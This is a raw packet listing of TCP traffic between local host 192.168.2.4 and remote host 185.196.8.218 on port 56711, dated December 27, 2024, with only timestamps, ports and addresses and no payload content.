Dec 27, 2024 09:09:10.790494919 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.791270018 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.791593075 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.791599989 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.792759895 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.792767048 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.793049097 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.793932915 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.793940067 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.794044018 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.795013905 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.795021057 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.795346022 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.796219110 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.796226978 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.796363115 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.797419071 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.797425985 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.798423052 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.798578978 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.798587084 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.798772097 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.799634933 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.799647093 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.799799919 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.800817013 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.800956964 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.801924944 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.801932096 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.802289963 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.803118944 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.803126097 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.803221941 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.803356886 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.804272890 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.804827929 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.804933071 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.805572033 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.805578947 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.806652069 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.806658030 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.806704998 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.807023048 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.807833910 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.807841063 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.808060884 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.809020996 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.809027910 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.809333086 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.810152054 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.810158968 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.810292006 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.811342955 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.811350107 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.811461926 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.812556982 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.812563896 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.813235998 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.813642025 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.813648939 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.813836098 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.814804077 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.814918041 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.815169096 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.815875053 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.816076994 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.816900015 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.817172050 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.817179918 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.817281961 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.818209887 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.818217039 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.821367025 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.889436007 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.889447927 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.889986038 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.889991999 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.890297890 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.891043901 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.891362906 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.891845942 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.892260075 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.892266035 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.892891884 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.893407106 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.893580914 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.894292116 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.894560099 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.894639969 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.895761967 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.895767927 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.895874977 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.896821976 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.944489002 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.967935085 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.967947006 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.968056917 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.968283892 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.968296051 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.968430996 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.969430923 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.969444036 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.969846964 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.970526934 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.970638037 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.970809937 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.971764088 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.971775055 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.971854925 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.972816944 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.972836018 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.972989082 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.973965883 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.974072933 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.974389076 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.975127935 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.975265980 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.975486994 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.976273060 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.976824999 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.977288961 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.977391005 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.977729082 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.977855921 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.978638887 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.978719950 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.978769064 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.979871988 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.979883909 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.979943037 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.980911970 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.981136084 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.981347084 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.982116938 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.982129097 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.982196093 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.983258009 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.983378887 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.983484983 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.984369993 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.984589100 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.984730959 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.985589981 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.985603094 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.985646009 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.986682892 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.986694098 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.987322092 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.987947941 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.987960100 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.988064051 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.989034891 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.989136934 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.989216089 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.990108013 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.990257978 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.990372896 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.991408110 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.991558075 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.991630077 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.992516041 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.992656946 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.992722988 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.993653059 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.993797064 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.993982077 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.994718075 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.995335102 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.995414019 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.995980978 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.996521950 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.996637106 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.997251987 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.997262955 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.997322083 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.998413086 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.998425961 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.998531103 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.999372959 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.999697924 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.999779940 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.000587940 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.000775099 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.000854969 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.001668930 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.001799107 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.002093077 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.002922058 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.002940893 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.002990961 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.004074097 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.004086971 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.004162073 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.005291939 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.005304098 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.005398035 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.006398916 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.006411076 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.006457090 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.007559061 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.007591009 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.007679939 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.008656979 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.008836031 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.008874893 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.009880066 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.009895086 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.009941101 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.011015892 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.011029005 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.011100054 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.012140036 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.012552023 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.012794971 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.013309002 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.013609886 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.013708115 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.014522076 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.014533997 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.014571905 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.015677929 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.015691996 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.015727997 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.016771078 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.016885042 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.016940117 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.017966986 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.017998934 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.018162012 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.019203901 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.019222975 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.019272089 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.020286083 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.020349979 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.020401955 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.021426916 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.021802902 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.021903992 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.022594929 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.022605896 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.022746086 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.023772001 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.023783922 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.024123907 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.026932955 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.026945114 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.026954889 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.026969910 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.027021885 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.027021885 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.027365923 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.027602911 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.027702093 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.028661013 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.076152086 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.169322968 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.169598103 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.169610023 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.169646978 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.169811010 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.169889927 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.170579910 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.170813084 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.170885086 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.171370029 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.171679020 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.171730042 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.172190905 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.172297001 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.172348976 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.173305035 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.173319101 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.173578024 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.173962116 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.173974991 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.174036980 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.174901009 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.174913883 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.175033092 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.175753117 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.175766945 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.175801039 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.176548004 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.176644087 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.176712990 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.177493095 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.177514076 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.177599907 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.178307056 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.178395987 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.178446054 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.179106951 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.179296017 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.179373026 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.180052996 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.180066109 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.180104017 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.180953979 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.180980921 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.181210995 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.181730986 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.181863070 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.181993961 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.182589054 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.182750940 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.182831049 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.183552980 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.183566093 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.183667898 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.184267998 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.184528112 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.184578896 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.185149908 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.185162067 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.185457945 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.186009884 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.186273098 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.186367989 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.444504976 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.444596052 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.444608927 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.444622040 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.444653034 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.444664001 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.444677114 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.444679022 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.444679022 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.444735050 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.444818020 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.444829941 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.444844007 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.444900036 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.444900036 CET	49731	56711	192.168.2.4	185.196.8.218
